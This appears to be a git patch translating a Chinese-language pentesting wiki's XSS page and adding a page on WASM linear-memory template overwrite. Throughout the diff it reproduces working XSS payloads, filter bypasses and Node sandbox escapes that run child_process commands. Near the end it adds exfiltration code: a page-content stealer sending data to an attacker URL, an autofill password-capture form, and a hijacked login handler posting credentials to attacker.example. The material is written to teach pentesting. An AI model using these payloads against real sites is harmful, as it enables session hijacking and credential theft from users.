From 0e1eae18f70f4585c6d031c0a630d9c3bc5260e9 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 29 Sep 2025 14:56:28 +0000 Subject: [PATCH] Translated ['src/pentesting-web/xss-cross-site-scripting/wasm-linear-mem --- src/SUMMARY.md | 1 + .../xss-cross-site-scripting/README.md | 424 +++++++++--------- ...sm-linear-memory-template-overwrite-xss.md | 133 ++++++ 3 files changed, 351 insertions(+), 207 deletions(-) create mode 100644 src/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index be4d4275a..4c7d77d24 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -725,6 +725,7 @@ - [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md) - [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md) - [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md) + - [Wasm Linear Memory Template Overwrite Xss](pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md) - [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md) - [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md) - [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md) diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index 85d9a1e88..23b956a80 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -4,30 +4,30 @@ ## 方法论 -1. 检查是否有 **任何你控制的值** (_parameters_, _path_, _headers_?, _cookies_?) 被**反射**在 HTML 中或被 **JS** 代码**使用**。 -2. **找出被反射/使用的上下文**。 -3. 如果被 **reflected** -1. 检查 **你可以使用哪些符号**,并据此准备 payload: -1. 在 **raw HTML** 中: -1. 你能创建新的 HTML tag 吗? -2. 你能使用支持 `javascript:` 协议的事件或属性吗? -3. 你能绕过保护吗? -4. HTML 内容是否被任何客户端 JS 引擎(_AngularJS_, _VueJS_, _Mavo_...)解释;你可以滥用 [**Client Side Template Injection**](../client-side-template-injection-csti.md)。 -5. 如果你不能创建能执行 JS 的 HTML tag,是否可以滥用 [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)? -2. 在 **HTML 标签内**: -1. 你能退出到 raw HTML 上下文吗? -2. 你能创建新的事件/属性来执行 JS 吗? +1. 检查是否**任何你控制的值** (_parameters_, _path_, _headers_?, _cookies_?) 被**反射**在 HTML 中或被 **JS** 代码**使用**。 +2. **找出它被反射/使用的上下文**。 +3. 如果被**反射** +1. 检查**你可以使用哪些符号**,并据此准备 payload: +1. 在**原始 HTML**中: +1. 能否创建新的 HTML 标签? +2. 能否使用支持 `javascript:` 协议的事件或属性? +3. 能否绕过防护措施? +4. HTML 内容是否被任何 client side JS 引擎(_AngularJS_, _VueJS_, _Mavo_...)解释,你可以利用 [**Client Side Template Injection**](../client-side-template-injection-csti.md)。 +5. 如果你无法创建能执行 JS 的 HTML 标签,是否可以利用 [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)? +2. 在**HTML 标签**内部: +1. 能否退出到原始 HTML 上下文? +2. 能否创建新的事件/属性来执行 JS 代码? 3. 你被困的属性是否支持 JS 执行? -4. 你能绕过保护吗? -3. 在 **JavaScript 代码** 内: -1. 你能转义 ``** 标签之间、`.js` 文件内,或使用 **`javascript:`** 协议的属性中: +在这种情况下,你的输入会被反射到 HTML 页面中的 **``** 标签之间,或者位于 `.js` 文件中,或位于使用 **`javascript:`** 协议的属性中: -- 如果被反射在 **``** 标签之间,即使你的输入在任何类型的引号内,也可以尝试注入 `` 来跳出该上下文。这之所以可行,是因为浏览器**会先解析 HTML 标签**然后再解析内容,因此它不会注意到你注入的 `` 标签位于 HTML 代码内部。 -- 如果被反射到 **JS 字符串内部**,而上一个技巧不起作用,你需要**退出**字符串、**执行**你的代码并**重建**JS 代码(如果有任何错误,它将不会被执行: +- 如果被反射到 **``** 标签之间,即使你的输入位于任意类型的引号内,你也可以尝试注入 `` 来逃离此上下文。这样做有效的原因是 **浏览器会先解析 HTML 标签** 然后再解析内容,因此它不会注意到你注入的 `` 标签实际上在 HTML 代码中。 +- 如果被反射到 **JS 字符串内部**,并且上一招不起作用,你需要**退出**字符串、**执行**你的代码并**重构** JS 代码(如果有任何错误,代码将不会被执行): - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` -- 如果被反射在模板字面量内部,你可以**嵌入 JS 表达式**,使用 `${ ... }` 语法: `` var greetings = `Hello, ${alert(1)}` `` -- **Unicode encode** 可以用来写出**valid javascript code**: +- 如果被反射到模板字面量内部,你可以使用 `${ ... }` 语法**嵌入 JS 表达式**: `` var greetings = `Hello, ${alert(1)}` `` +- **Unicode 编码** 可以用于编写**有效的 javascript 代码**: ```javascript alert(1) alert(1) @@ -86,8 +86,8 @@ alert(1) ``` #### Javascript Hoisting -Javascript Hoisting 指的是在使用之后再**声明函数、变量或类**的可能性,这样可以滥用那些 XSS 使用未声明变量或函数的场景。\ -**更多信息请查看以下页面:** +Javascript Hoisting 指的是有机会**在使用之后声明函数、变量或类,从而可以滥用那些 XSS 使用未声明变量或函数的场景。**\ +**查阅以下页面以获取更多信息:** {{#ref}} @@ -96,19 +96,19 @@ js-hoisting.md ### Javascript Function -一些网页会有端点(endpoints)**接受作为参数要执行的函数名**。常见的例子是在野外看到类似的用法:`?callback=callbackFunc`。 +Several web pages have endpoints that **接受作为参数要执行的函数名**。常见的实际例子像:`?callback=callbackFunc`。 -判断用户直接提供的内容是否会被执行的一个好方法是**修改参数值**(例如改为 'Vulnerable'),并在控制台查看是否出现如下错误: +判断用户直接提供的内容是否会被执行的一个好方法是**修改该参数的值**(例如改为 'Vulnerable'),并在控制台查找类似的错误: ![](<../../images/image (711).png>) -如果存在漏洞,你可能只需发送该值就能**触发 alert**:**`?callback=alert(1)`**。不过,这类端点通常会**验证内容**,只允许字母、数字、点和下划线(**`[\w\._]`**)。 +如果存在漏洞,你可能只需发送该值就能**触发一个 alert**:**`?callback=alert(1)`**。然而,这类 endpoints 很常见会**校验内容**,只允许字母、数字、点和下划线(**`[\w\._]`**)。 -然而,即使有这种限制,仍然可以执行某些操作。原因是你可以利用这些合法字符去**访问 DOM 中的任意元素**: +不过,即使有上述限制,仍可执行某些操作。这是因为你可以使用这些合法字符来**访问 DOM 中的任意元素**: ![](<../../images/image (747).png>) -一些对此有用的函数: +一些有用的函数: ``` firstElementChild lastElementChild @@ -118,9 +118,9 @@ parentElement ``` 你也可以尝试直接**触发 Javascript 函数**:`obj.sales.delOrders`。 -然而,通常执行该函数的端点没有太多有趣的 DOM,**同一来源的其他页面**会有**更有趣的 DOM**来执行更多操作。 +然而,通常执行所示函数的端点并没有太多有趣的 DOM,**同源的其他页面**会有**更有趣的 DOM**以执行更多操作。 -因此,为了**在不同的 DOM 中滥用此漏洞**,开发了 **Same Origin Method Execution (SOME)** 利用方法: +因此,为了**在不同的 DOM 中滥用此漏洞**,开发了**Same Origin Method Execution (SOME)** 利用方法: {{#ref}} @@ -129,7 +129,7 @@ some-same-origin-method-execution.md ### DOM -存在**JS code**非安全地使用一些由攻击者控制的数据,例如 `location.href`。攻击者可以滥用此点来执行任意 JS 代码。 +存在**JS 代码**不安全地使用某些**由攻击者控制的数据**,例如 `location.href`。攻击者可以滥用这一点来执行任意 JS 代码。 {{#ref}} @@ -138,7 +138,7 @@ dom-xss.md ### **Universal XSS** -这类 XSS 可以在**任何地方**被发现。它们不仅依赖于对 web 应用的客户端利用,还依赖于**任何****上下文**。这类**任意 JavaScript 执行**甚至可以被滥用以获得 **RCE**、在客户端和服务器上**读取任意文件**,以及更多。\ +这种类型的 XSS 可以在**任何地方**发现。它们不仅依赖于对 Web 应用的客户端利用,而是依赖于**任何****上下文**。这种**任意 JavaScript 执行**甚至可以被滥用以获取 **RCE**、在客户端和服务器上**读取任意文件**,等等。\ 一些**示例**: @@ -155,13 +155,13 @@ server-side-xss-dynamic-pdf.md ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>) -## 在原始 HTML 中注入 +## 注入到原始 HTML 中 -当你的输入被反射到**HTML 页面内部**,或者你可以在该上下文中转义并注入 HTML 代码时,**第一**件要做的事是检查是否可以滥用 `<` 来创建新标签:只需尝试**反射**该**字符**并检查它是否被**HTML 编码**或**删除**,或是否被**原样反射**。**仅在最后一种情况下你才可以利用该情形**。\ -对于这些情形也**请记住** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ -_**Note: A HTML comment can be closed using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\*_ +当你的输入被反射在**HTML 页面内部**,或者你可以在该上下文中转义并注入 HTML 代码时,第一件需要做的事情是检查是否可以滥用 `<` 来创建新标签:尝试**反射**该**字符**并检查它是否被**HTML 编码**或被**删除**,或者是否被**无变化地反射**。**只有在最后一种情况下你才能利用该场景**。\ +对于这类情况也**请记住** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**。**\ +_**注:HTML 注释可以通过使用\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\***\***\*_ -在这种情况下,如果未使用黑/白名单,你可以使用如下 payloads: +在这种情况下,如果没有使用黑/白名单过滤,你可以使用类似如下的 payload: ```html ` 标签之间,或位于可以执行 JS 的 HTML 事件之间,或位于接受 `javascript:` 协议的属性中。 +在这种情况下,你的 **输入** 会被反射到 `.js` 文件的 JS 代码 中,或在 `` 标签之间,或在可以执行 JS 的 HTML 事件之间,或在接受 `javascript:` 协议的属性之间。 -### 跳出 \` 之内,你可以很容易地**跳出并关闭 `` 中,你可以很容易地**逃逸关闭 ` ``` -请注意,在这个例子中我们**甚至没有关闭单引号**。这是因为**浏览器首先执行 HTML 解析**,这涉及识别页面元素,包括 script 块。用于理解并执行嵌入脚本的 JavaScript 解析只有在之后才进行。 +注意,在这个示例中我们**甚至都没有闭合单引号**。这是因为**HTML 解析首先由浏览器执行**,它会识别页面元素,包括脚本块。对 JavaScript 的解析以理解并执行嵌入的脚本只有在随后才会进行。 -### 在 JS code 中 +### 在 JS 代码内 -如果 `<>` 被过滤,你仍然可以**转义字符串**(在你的输入被**定位**的地方)并**执行任意 JS**。重要的是要**修复 JS 语法**,因为如果有任何错误,JS code 将不会被执行: +如果 `<>` 被过滤,你仍然可以在你的输入被**放置**的字符串中**转义**并**执行任意 JS**。重要的是要**修复 JS 语法**,因为如果有任何错误,JS 代码将不会被执行: ``` '-alert(document.domain)-' ';alert(document.domain)// @@ -496,25 +497,25 @@ From [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): ``` #### JS-in-JS string break → inject → repair pattern -当用户输入落入被引号包裹的 JavaScript 字符串中(例如,server-side echo 到 inline script 中)时,可以终止该字符串、inject 代码,并修复语法以保持解析有效。通用骨架: +当用户输入落入被引号包裹的 JavaScript 字符串内(例如,server-side echo 到 inline script),你可以终止该字符串、注入代码,然后修复语法以保持解析有效。通用框架: ``` " // end original string ; // safely terminate the statement // attacker-controlled JS ; a = " // repair and resume expected string/statement ``` -当易受攻击的参数反射到 JS 字符串中时的示例 URL 模式: +当易受攻击的参数被反射到 JS 字符串中时的示例 URL 模式: ``` ?param=test";;a=" ``` -这会在不接触 HTML 上下文的情况下执行攻击者 JS(纯 JS-in-JS)。当过滤器屏蔽关键字时,可与下面的 blacklist bypasses 结合使用。 +这会执行攻击者的 JS,而无需接触 HTML 上下文(纯 JS-in-JS)。当过滤器阻止关键字时,可与下面的 blacklist bypasses 结合使用。 -### 模板字面量 \`\` +### Template literals `` -为了构造 **字符串**,除了单引号和双引号外,JS 还接受 **反引号** **` `` `**。这被称为模板字面量,因为它们允许使用 `${ ... }` 语法**嵌入 JS 表达式**。\ -因此,如果你发现你的输入被**反射**到使用反引号的 JS 字符串中,你可以滥用 `${ ... }` 语法来执行 **任意 JS 代码**: +为了构造 **strings**,除了单引号和双引号外,JS 也接受 **backticks** **` `` `**。这被称为 template literals,因为它们允许使用 `${ ... }` 语法来 **embedded JS expressions**。\ +因此,如果你发现你的输入被 **reflected** 放在使用反引号的 JS 字符串内部,你可以滥用 `${ ... }` 语法来执行 **arbitrary JS code**: -这可以通过**滥用**以下方式实现: +这可以**abused**使用: ```javascript ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}` ``` @@ -526,21 +527,21 @@ return loop } loop`` ``` -### Encoded code execution +### 编码后的代码执行 ```html ``` -**注释内的 Javascript** +**Javascript 在注释内** ```javascript //If you can only inject inside a JS comment, you can still leak something //If the user opens DevTools request to the indicated sourceMappingURL will be send @@ -715,7 +716,7 @@ try{throw onerror=alert}catch{throw 1} - [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) - [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) -**任意函数(alert)调用** +**任意函数 (alert) 调用** ```javascript //Eval like functions eval('ale'+'rt(1)') @@ -777,7 +778,7 @@ top[8680439..toString(30)](1) ``` ## **DOM vulnerabilities** -存在 **JS code** 使用了攻击者可控制的不安全数据,例如 `location.href`。攻击者可能滥用此漏洞来执行任意 JS 代码。\ +There is **JS code** that is using **unsafely data controlled by an attacker** like `location.href` . 攻击者可以滥用此点执行任意 JS 代码。\ **Due to the extension of the explanation of** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:** @@ -785,37 +786,48 @@ top[8680439..toString(30)](1) dom-xss.md {{#endref}} -在那里你会找到关于 **what DOM vulnerabilities are、how are they provoked、and how to exploit them** 的详细说明。\ -另外,不要忘记在上述文章的末尾你可以找到关于 [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering) 的解释。 +在那里你会找到关于 **DOM vulnerabilities 是什么、如何被触发以及如何利用** 的详细解释。\ +另外,不要忘记在所述文章的末尾你可以找到关于 [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering) 的解释。 ### Upgrading Self-XSS ### Cookie XSS -如果你能通过在 cookie 中发送 payload 来触发 XSS,这通常是 self-XSS。然而,如果你找到一个 **易受 XSS 影响的子域 (vulnerable subdomain to XSS)**,你可以滥用该 XSS 在整个域中注入 cookie,从而在主域或其他子域(那些易受 cookie XSS 影响的子域)触发 cookie XSS。为此你可以使用 cookie tossing attack: +If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a **vulnerable subdomain to XSS**, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack: {{#ref}} ../hacking-with-cookies/cookie-tossing.md {{#endref}} -You can find a great abuse of this technique in [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html). +你可以在 [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) 找到对此技术的一个优秀滥用示例。 ### Sending your session to the admin -可能用户会将他的 profile 与 admin 分享,如果 self XSS 存在于该用户的 profile 中,且 admin 访问它,admin 就会触发该漏洞。 +可能用户可以与 admin 分享他的 profile,如果 self XSS 存在于用户的 profile 中且 admin 访问它,就会触发该漏洞。 ### Session Mirroring -如果你发现某些 self XSS 并且网页对管理员存在 **session mirroring**,例如允许客户请求帮助,为了帮助你 admin 会以他的 session 看到你在自己 session 中所看到的内容。 +If you find some self XSS and the web page have a **session mirroring for administrators**, for example allowing clients to ask for help an in order for the admin to help you he will be seeing what you are seeing in your session but from his session. -你可以让 **administrator 触发你的 self XSS** 并窃取他的 cookies/session。 +你可以让 **administrator trigger your self XSS** 并窃取他的 cookies/session。 ## Other Bypasses +### Bypassing sanitization via WASM linear-memory template overwrite + +When a web app uses Emscripten/WASM, constant strings (like HTML format stubs) live in writable linear memory. A single in‑WASM overflow (e.g., unchecked memcpy in an edit path) can corrupt adjacent structures and redirect writes to those constants. Overwriting a template such as "

%.*s

" to "" turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render. + +Check the dedicated page with exploitation workflow, DevTools memory helpers, and defenses: + +{{#ref}} +wasm-linear-memory-template-overwrite-xss.md +{{#endref}} + + ### Normalised Unicode -你可以检查 **reflected values** 是否在服务器端(或客户端)被 **unicode normalized**,并滥用此功能来绕过防护。 [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting)。 +You could check is the **reflected values** are being **unicode normalized** in the server (or in the client side) and abuse this functionality to bypass protections. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting). ### PHP FILTER_VALIDATE_EMAIL flag Bypass ```javascript @@ -823,8 +835,8 @@ You can find a great abuse of this technique in [**this blog post**](https://nok ``` ### Ruby-On-Rails bypass -由于 **RoR mass assignment**,引号会被插入到 HTML 中,从而绕过了引号限制,并且可以在标签内添加额外字段(onfocus)。\ -表单示例([from this report](https://hackerone.com/reports/709336)),如果你发送以下 payload: +由于 **RoR mass assignment**,引号会被插入到 HTML 中,进而绕过引号限制,并且可以在标签内部添加额外字段(onfocus)。\ +表单示例 ([from this report](https://hackerone.com/reports/709336)),如果你发送 payload: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` @@ -832,7 +844,7 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` -然后,会插入 onfocus 属性,导致 XSS 发生。 +然后,onfocus 属性将被插入,XSS 就会发生。 ### 特殊组合 ```html @@ -864,24 +876,24 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) document['default'+'View'][`\u0061lert`](3) ``` -### 在 302 响应中通过 header injection 实现 XSS +### 302 响应中通过 header 注入 的 XSS -如果你发现可以 **inject headers in a 302 Redirect response**,可以尝试 **让浏览器执行任意 JavaScript**。这并不简单,因为现代浏览器在 HTTP 响应状态码为 302 时不会解释 HTTP 响应体,所以单纯的 cross-site scripting payload 是无效的。 +如果你发现可以 **inject headers in a 302 Redirect response**,你可以尝试 **make the browser execute arbitrary JavaScript**。这并非容易,因为现代浏览器在 HTTP 响应状态码为 302 时不会解释 HTTP 响应体,所以单纯的 cross-site scripting payload 是无效的。 -在 [**this report**](https://www.gremwell.com/firefox-xss-302) 和 [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) 中,你可以了解到如何在 Location header 内测试多个协议,查看是否有某些协议允许浏览器检查并执行位于 body 内的 XSS payload。\ -已知的可用协议: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`. +在 [**this report**](https://www.gremwell.com/firefox-xss-302) 和 [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) 中,你可以阅读如何在 Location header 中测试多种协议,并查看是否有任一协议允许浏览器检查并执行 body 内的 XSS payload。 +已知的协议示例: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`. ### 仅字母、数字和点 -如果你能指定将被 javascript **execute** 的 **callback**,且该 callback 限制为上述字符集,[**Read this section of this post**](#javascript-function) 了解如何滥用此行为。 +如果你能指定将被 javascript 执行的 **callback**,且该 callback 仅限使用这些字符(字母、数字和点)。[**Read this section of this post**](#javascript-function) 以了解如何滥用此行为。 -### Valid ` ``` -答案: +答案是: - **module** (默认,无需解释) -- [**webbundle**](https://web.dev/web-bundles/): Web Bundles 是一项功能,可以将一堆数据 (HTML, CSS, JS…) 打包到 **`.wbn`** 文件中。 +- [**webbundle**](https://web.dev/web-bundles/): Web Bundles 是一个功能,允许你将一堆数据(HTML、CSS、JS…)打包到一个 **`.wbn`** 文件中。 ```html ``` -这种行为在 [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) 中被用来将一个库重映射到 eval,滥用它可以触发 XSS。 +此行为在 [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) 中被利用:通过将库重映射为 eval,滥用它可以触发 XSS。 -- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** 该功能主要用于解决由预渲染引起的一些问题。其工作方式如下: +- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** 此功能主要用于解决由预渲染引起的一些问题。它的工作方式如下: ```html ``` -### Web 内容类型导致 XSS +### Web Content-Types 导致 XSS -(来自 [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 以下内容类型可以在所有浏览器中执行 XSS: +(来自 [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 以下内容类型可在所有浏览器中执行 XSS: - text/html - application/xhtml+xml - application/xml - text/xml - image/svg+xml -- text/plain (?? 不在该列表但我记得在一次 CTF 中看到过) +- text/plain (?? 不在列表中,但我想我在一次 CTF 中见过这个) - application/rss+xml (off) - application/atom+xml (off) -在其他浏览器中,其他 **`Content-Types`** 也可以用来执行任意 JS,详见: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) +在其他浏览器中,其他 **`Content-Types`** 也可以用来执行任意 JS,参见: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) ### xml 内容类型 -如果页面返回 text/xml 内容类型,可以指定命名空间并执行任意 JS: +如果页面返回 text/xml 内容类型,可以指定命名空间并执行任意 JS: ```xml hello @@ -984,11 +996,11 @@ import { partition } from "lodash" ``` ### 特殊替换模式 -当像 **`"some {{template}} data".replace("{{template}}", )`** 这样的用法被使用时,攻击者可以使用 [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the-replacement) 来试图绕过某些防护: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` +当使用类似 **`"some {{template}} data".replace("{{template}}", )`** 的写法时,攻击者可以使用 [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) 来尝试绕过某些防护: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` -例如在 [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) 中,这被用来在脚本内部转义一个 JSON 字符串并执行任意代码。 +例如在 [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA),这被用来在脚本内转义一个 JSON 字符串并执行任意代码。 -### Chrome Cache to XSS +### Chrome 缓存导致 XSS {{#ref}} @@ -997,7 +1009,7 @@ chrome-cache-to-xss.md ### XS Jails Escape -如果你只能使用有限的字符,请查看这些针对 XSJail 问题的其他有效解决方案: +如果你只能使用有限的一组字符,请查看这些针对 XSJail 问题的其他可行解决方案: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() @@ -1028,7 +1040,7 @@ constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` -如果在执行不受信任的代码之前 **everything is undefined**(像在 [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves) 中)就有可能“无中生有”地生成有用的对象来滥用任意不受信任代码的执行: +如果 **所有东西在执行不受信任的代码之前都是 undefined**(例如在 [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves))就可以从“无中生有”生成有用的对象来滥用任意不受信任代码的执行: - 使用 import() ```javascript @@ -1037,13 +1049,13 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8"))) ``` - 间接访问 `require` -[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 模块被 Node.js 包裹在一个函数中,如下: +[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 模块被 Node.js 包装在一个函数中,如下: ```javascript ;(function (exports, require, module, __filename, __dirname) { // our actual module code }) ``` -因此,如果从该模块我们可以 **call another function**,就可以从该函数使用 `arguments.callee.caller.arguments[1]` 来访问 **`require`**: +因此,如果我们可以从该模块**调用另一个函数**,就可以在该函数中使用 `arguments.callee.caller.arguments[1]` 来访问 **`require`**: ```javascript ;(function () { return arguments.callee.caller.arguments[1]("fs").readFileSync( @@ -1052,7 +1064,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync( ) })() ``` -与之前的示例类似,可以通过**使用错误处理程序**访问模块的**包装器**并获取**`require`**函数: +与前面的示例类似,可以通过 **use error handlers** 来访问模块的 **wrapper** 并获取 **`require`** 函数: ```javascript try { null.f() @@ -1090,9 +1102,9 @@ console.log(req("child_process").execSync("id").toString()) } trigger() ``` -### Obfuscation & Advanced Bypass +### 混淆与高级绕过 -- **不同的 obfuscations 在同一页面:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) +- **同一页面的不同混淆:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) @@ -1273,17 +1285,16 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o] ``` ## XSS 常见 payloads -### 多个 payloads 合并为 1 个 +### 多个 payloads 合并为一个 {{#ref}} steal-info-js.md {{#endref}} -### Iframe Trap - -使用户在页面内导航而不离开 iframe,并窃取其行为(包括在表单中提交的信息): +### Iframe 陷阱 +使用户在页面内导航而不离开 iframe,并窃取其行为(包括通过表单发送的信息): {{#ref}} ../iframe-traps.md @@ -1312,8 +1323,7 @@ steal-info-js.md ``` > [!TIP] -> 如果 cookie 设置了 HTTPOnly 标志,你将无法从 JavaScript 访问 cookie。但如果你足够幸运,这里有一些绕过该保护的方法:[一些绕过方法](../hacking-with-cookies/index.html#httponly) - +> 如果 cookie 上设置了 HTTPOnly 标志,你 **无法从 JavaScript 访问 cookies**。但如果你足够幸运,这里有[绕过此保护的一些方法](../hacking-with-cookies/index.html#httponly)。 ### 窃取页面内容 ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8" @@ -1327,7 +1337,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) xhr.open("GET", url, true) xhr.send(null) ``` -### 查找内部 IPs +### 查找内部 IP 地址 ```html ``` -### 捕获自动填充密码 +### 捕获自动填充的密码 ```javascript Username:
@@ -1422,11 +1432,11 @@ mode: 'no-cors', body:username.value+':'+this.value });"> ``` -When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated. +当在密码字段中输入任何数据时,用户名和密码会被发送到攻击者的服务器;即使客户端选择了保存的密码而没有手动输入,凭证仍会被 ex-filtrated。 -### Hijack form handlers to exfiltrate credentials (const shadowing) +### 劫持表单处理器以窃取凭证 (const shadowing) -如果一个关键的 handler(例如,`function DoLogin(){...}`)在页面后面被声明,而你的 payload 早些时候执行(例如,通过一个 inline JS-in-JS sink),那么先定义一个同名的 `const` 来抢占并锁定该 handler。之后的 function 声明无法重新绑定该 `const` 名称,这样你的 hook 就会处于控制位置: +如果一个关键的处理器(例如 `function DoLogin(){...}`)在页面中较晚声明,而你的 payload 提前运行(例如通过 inline JS-in-JS sink),先用相同的名字定义一个 `const` 来抢占并锁定该 handler。之后的 function 声明无法重新绑定一个 `const` 名称,从而让你的 hook 保持控制: ```javascript const DoLogin = () => { const pwd = Trim(FormInput.InputPassword.value); @@ -1436,17 +1446,17 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom ``` 注意事项 - 这依赖于执行顺序:你的注入必须在合法声明之前执行。 -- 如果你的 payload 被包在 `eval(...)` 中,`const/let` 绑定不会成为全局变量。使用来自章节 “Deliverable payloads with eval(atob()) and scope nuances” 的动态 `